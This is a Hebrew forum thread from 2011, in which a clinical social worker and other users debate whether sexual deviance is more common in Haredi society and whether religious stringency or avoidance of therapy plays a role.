טוב, נראה שנמשיך להיות חלוקות בינינו כמו בנושאים אחרים וזה בסדר גמור מבחינתי.

אסכם בנקודות את תפיסתי בנושא:
האחת- להשערתי בחברה החרדית אין יותר סוטים, מופרעים וחולים מבכל חברה אחרת.
השניה- הסטיות וההפרעות עשויות להיות בעלות אופי דתי ותרבותי או מושפעות מתכנים דתיים ותרבותיים. למשל - יתכן שנמצא אצלינו יותר  מציצנים בעוד שבחברה אחרת יהיו יותר אקסהביציוניסטים . [למי שיודע, מדובר בשני צידיו של אותו מטבע -פרברסיה].
השלישית- החברה החרדית מושתת בעיקרה על ערכים דתיים, מוסריים ואלטרואיזם. חומרות בנושאים אלו אינם מולידות בהכרח סטיות. [להבדיל, האם כל הנזירים סוטים? מה נגיד על האפיפיור] 
הרביעית- יש כמובן מקום לשפר ולשנות את דרכי החינוך, ההתמודדות עם השינויים החברתיים ועוד. אולם, אין זה, לעניות דעתי, קשור ישירות לנושא הספציפי של אשכול זה -הסטיות.

בברכה

_________________

ד"ר רונית לזר 
עו"ס קלינית
 נייד 052-6346334
< type="text/">document.write("");




דדווח על תוכן פוגעני

מנותק
נשלח ב-14/3/2011 23:05 לינק ישיר 

רונית- אהבתי את הדוגמא של הנזירים הנוצרים. זו באמת דוגמא מצויינת.



דדווח על תוכן פוגעני

מנותק
נשלח ב-15/3/2011 17:11 לינק ישיר 

רונית ולא מתביישת תודה על הדו שיח המרתק.

ברצוני להגיב (מדי ארוך בשבילי להגיב על הכל) על נקודה שכתבה לא מתביישת שכאילו פעם הרבניות לא הלכו
כ"כ צנוע כמו שמקפידים היום, אני לא יודע איזה תמונות ראית, אבל אני ראיתי הרבה תמונות של רבניות מהדור
לפני השואה והכיסויים שלהם על הראש ומסביב הצוואר נורא ואיום הרבה הרבה יותר מהיום.

גם לגבי שמחות מעורבות זה היה רק מיד אחרי השואה פעם מאד הקפידו על זה וגם ר' משה פיינשטיין
שהזכרת בנוגע לרכבת כתב חריף מאד נגד שמחות מעורבות.

ועכשיו גם על ענין הסטיות שאת מדברת יש סיבה אחרת גם, אצל הציבור החרדי המושג ללכת לטיפול לאדם נורמלי
לא היה מקובל בכלל ורק בשנים האחרונות זה השתפר אבל עדיין יש הרבה שיתמודדו עם זה לבד העיקר שאני
ח"ו לא צריך פסיכולוג וכדו'.

ועל האירגוני החסד שאת מתארת שזה רק לאנ"ש זה לא מדוייק יש 'מאות' אירגונים שיעזרו לכל אחד
ולא רק לאנ"ש אבל הרבה אירגונים מבינים שלא יוכלו להתקיים אם יקבלו כל אחד מחוסר יכולת אז
הם עושים את זה לקהל מסויים וכך עושה כל קהילה לעצמה, אני אישית מכיר אברכים שתרמו יותר
מ30 אחוז מכספם (אנשים שעובדים לא שיושבים בכולל, ועם משכורת לא גבוהה בכלל) לטובת יהודי אחר
שאפילו לא הכירו אותו לפני כן, והרבה שפשוט התמסרו לשני הכניסו ילדים לביתם ללא תמורת כסף, התמסרות
לזולת שמוצאים לדעתי רק אצל חרדים.

ועכשיו דבר חשוב לדעתי בנושא הזה, יש ספר מבנו של הרמב"ם ר' אברהם שעוסק הרבה בסיגופים
מאוכל וממין ומכל דבר גשמי, והוא כותב שם שצריכים לדעת איך לעבוד עם סיגופים שהיו הרבה כאלו
שלא ידעו איך עובדים עם זה ובסוף נכשלו בעבירות חמורות....



דדווח על תוכן פוגעני

מנותק
נשלח ב-15/3/2011 17:12 לינק ישיר 

רונית, מה פירוש המילה אקסהביציוניסטים?



דדווח על תוכן פוגעני

מנותק
   
בית > פורומים > קבוצות תמיכה > פורטל הנפש > סטיות בציבור החרדי
מנהל לחץ כאן לנעילת האשכול
הוסף לעמוד האישי  דווח למנהל שלח לחבר
1 2 3 לדף הבא סך הכל 3 דפים.